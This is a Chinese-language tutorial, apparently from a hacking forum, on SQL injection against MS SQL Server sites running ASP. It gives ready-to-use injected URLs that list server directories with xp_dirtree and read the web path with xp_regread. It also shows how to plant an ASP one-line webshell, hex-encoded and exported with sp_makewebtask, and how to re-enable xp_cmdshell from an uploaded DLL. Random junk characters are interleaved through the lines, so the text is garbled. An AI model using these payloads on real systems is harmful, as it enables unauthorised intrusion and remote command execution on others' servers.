好,我们exec master..xp_dirtree'd:/test'
8 l+ v' B2 e9 V% p! V假设我们在test里有两个文件夹test1和test2在test1里又有test3& g1 Q* L' B& }/ D: E6 X. F
结果显示5 P8 [; O- X$ S8 A5 a8 i" D1 r
6 B+ M2 ~3 G5 M9 O
subdirectory depth
% \1 X B+ B' A2 u- vtest1 1# J+ V: a9 s/ u" ~
test3 2( v8 O) n( x* Y! ~4 U
test2 1
: Z' G3 H$ O9 |$ m( r
+ M+ V* [9 v+ \* v哈哈发现没有那个depth就是目录的级数 x6 \- ^6 w% p& V. i6 u5 m4 x
ok了,知道怎么办了吧; R% R3 i8 w2 z/ q. s! z
- p% L- \. k& Whttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- % _1 B" {$ V! ?. d' K+ U
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
* P1 K* ^0 X3 W0 X2 y8 @2 p+ whttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
; g6 ^' c n( X, ^6 O7 c7 s! l# e) p( m% t$ K9 O) W
只要加上id=1,就是第一级目录 。
8 h. Z2 E' N5 _/ `+ B3 z4 d$ c2 u& y7 u1 K1 s" S3 {
# g% j$ e5 M6 g( E4 }, J通过注册表读网站路径:/ O$ k( R L4 @: M
2 r2 d; }. u% _' V
1.;create table [dbo].[cyfd] ([gyfd][char](255));! `9 i+ s$ C8 f. O+ X8 P4 d, m/ Y9 l
) C( u5 l9 V! @0 T# }% J ^2 e
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--* f4 m# b3 b X# v( W
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--2 Q1 x2 k p: d3 `
" q3 W8 X; h B' L0 t
3.and 1=(select count(*) from 临时表 where 临时字段名>1), v. `/ m6 [7 E9 p8 J" z
and 1=(select count(*) from cyfd where gyfd > 1)
$ [/ V5 G! @' Y6 N! ]% W! f这样IE报错,就把刚才插进去的Web路径的值报出来了
4 I5 T, K' X: n3 m6 l4 i. q0 f, M7 k- X
4.drop table cyfd;-- 删除临时表/ ]( C d& b z6 w
: R& D' a' y3 h; ?7 e
获得webshell方法:
* q; W2 { ^3 [: C8 R1.create table cmd (a image)-- \**cmd是创建的临时表
% x2 `0 `% r; {( ?7 P- M' i" S+ O, f- ?) R
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话: r( L6 M q( }4 o7 H: ]
1 X7 G* m2 i, I3 ]+ ]
8 ^( U. N$ \8 m g
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'3 ~2 k( u8 z4 k5 |- D
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'2 K6 E/ _5 o y
6 H q0 a3 M! S4 |: @9 Z4.drop table cmd;-- 删除cmd临时表
7 a2 [: J+ Y+ G- G/ C) H/ @9 I. G2 ^6 z0 q: m: [- f
恢复xp_cmdshell方法之一:
: A: i- t$ I% [我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:( h* h- {5 T! Q- u7 o
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
- j9 Z$ H5 u M- A F' e恢复,支持绝对路径的恢复哦。:)/ }( z. Z( _8 O$ _# [# M- {/ e* b
|